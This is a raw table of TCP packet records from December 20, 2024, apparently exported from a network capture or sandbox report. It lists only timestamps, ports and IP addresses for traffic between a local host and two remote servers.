Dec 20, 2024 04:12:45.986984015 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.987042904 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.991449118 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.991502047 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.991544962 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.991595984 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.996097088 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.996352911 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.996355057 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.996436119 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.000715017 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.000768900 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.000844002 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.000893116 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.005333900 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.005386114 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.005436897 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.005501986 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.009944916 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.009996891 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.010030985 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.010076046 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.014565945 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.014616013 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.014692068 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.014741898 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.018196106 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.018249989 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.018309116 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.018357992 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.021840096 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.021883965 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.021949053 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.021991968 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.025535107 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.025578976 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.025717974 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.025763035 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.029160023 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.029205084 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.029261112 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.029324055 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.032795906 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.032903910 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.032923937 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.032968044 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.036498070 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.036544085 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.036597013 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.036643028 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.040112019 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.040154934 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.040467978 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.040512085 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.043766975 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.043812990 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.043852091 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.043895960 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.047327995 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.047372103 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.145193100 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.145242929 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.145308018 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.146541119 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.146617889 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.146666050 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.146730900 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.149322987 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.149375916 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.149427891 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.149468899 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.152133942 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.152245998 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.152318954 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.154866934 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.154975891 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.155028105 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.157521009 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.157636881 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.157686949 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.160193920 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.160312891 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.160357952 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.162775040 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.163152933 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.163197041 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.165317059 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.165383101 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.165430069 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.165471077 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.167814970 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.167929888 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.167979002 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.170288086 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.170345068 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.170419931 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.170479059 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.172655106 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.172753096 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.172820091 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.172869921 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.175093889 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.175148964 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.175214052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.175254107 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.177516937 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.177609921 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.177639008 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.177758932 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.179936886 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.180043936 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.180099010 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.182387114 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.182617903 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.182672977 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.184792995 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.184916019 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.184971094 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.187177896 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.187221050 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.187271118 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.189621925 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.189665079 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.189785004 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.189970016 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.192024946 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.192178965 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.192224026 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.194449902 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.194564104 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.194612026 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.196855068 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.196973085 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.197014093 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.199274063 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.199317932 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.199378967 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.201716900 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.201765060 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.201822042 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.201970100 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.204123020 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.204189062 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.204232931 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.206546068 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.206676960 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.206717014 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.208971977 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.209126949 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.209172010 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.211359024 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.211400986 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.211474895 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.213816881 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.213859081 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.213933945 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.216233015 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.216273069 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.216336966 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.216376066 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.218645096 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.218698025 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.218724012 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.218761921 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.221059084 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.221117020 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.221153021 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.223460913 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.223614931 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.223656893 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.225948095 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.226098061 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.226139069 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.228322983 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.228445053 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.228487968 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.230725050 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.230850935 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.230889082 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.233136892 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.233253956 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.233298063 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.235558033 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.235600948 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.235666037 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.237968922 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.237991095 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.238029003 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.238096952 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.238137960 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.240392923 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.240433931 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.240545034 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.240585089 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.242759943 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.243983030 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.300652027 CET	443	49873	98.85.100.80	192.168.2.4
Dec 20, 2024 04:12:46.300765991 CET	443	49873	98.85.100.80	192.168.2.4
Dec 20, 2024 04:12:46.300852060 CET	49873	443	192.168.2.4	98.85.100.80
Dec 20, 2024 04:12:46.337145090 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.337234974 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.337297916 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.337893009 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.337954044 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.337973118 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.338057041 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.339272022 CET	49873	443	192.168.2.4	98.85.100.80
Dec 20, 2024 04:12:46.339289904 CET	443	49873	98.85.100.80	192.168.2.4
Dec 20, 2024 04:12:46.339665890 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.339713097 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.339745045 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.339792967 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.341660023 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.341712952 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.341766119 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.341842890 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.343583107 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.343626976 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.343708992 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.344146013 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.345525980 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.345582008 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.345645905 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.345706940 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.347453117 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.347536087 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.347564936 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.347609997 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.349343061 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.349383116 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.349431992 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.349469900 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.351172924 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.351249933 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.351269007 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.351304054 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.353003979 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.353070021 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.353096008 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.353132010 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.354820967 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.354876995 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.354923964 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.354967117 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.356620073 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.356662035 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.356692076 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.356730938 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.358362913 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.358479023 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.358527899 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.360107899 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.360167980 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.360218048 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.360300064 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.361886024 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.361993074 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.362040997 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.363570929 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.363682032 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.363728046 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.365262985 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.365377903 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.365422964 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.366950035 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.366991997 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.367077112 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.368683100 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.368695021 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.368736029 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.370346069 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.370467901 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.370515108 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.372025967 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.372075081 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.372126102 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.372981071 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.373708963 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.373825073 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.373868942 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.375415087 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.375519991 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.375571012 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.377104044 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.377208948 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.377260923 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.378787041 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.378834963 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.378865957 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.380471945 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.380522013 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.380568027 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.381974936 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.382213116 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.382308006 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.382349968 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.383847952 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.383981943 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.384023905 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.385550976 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.385670900 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.385711908 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.387238979 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.387293100 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.387341976 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.388967037 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.389066935 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.389121056 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.390661955 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.390716076 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.390793085 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.392317057 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.392365932 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.392419100 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.393979073 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.394011021 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.394187927 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.394227028 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.395689011 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.395801067 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.395843029 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.397381067 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.397492886 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.397536039 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.399116993 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.399163008 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.399271011 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.399996996 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.400787115 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.400923967 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.400970936 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.402462959 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.402568102 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.402621031 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.404181957 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.404232025 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.404306889 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.404352903 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.405831099 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.405963898 CET	80	49875	31.41.244.11	192.168.2.4
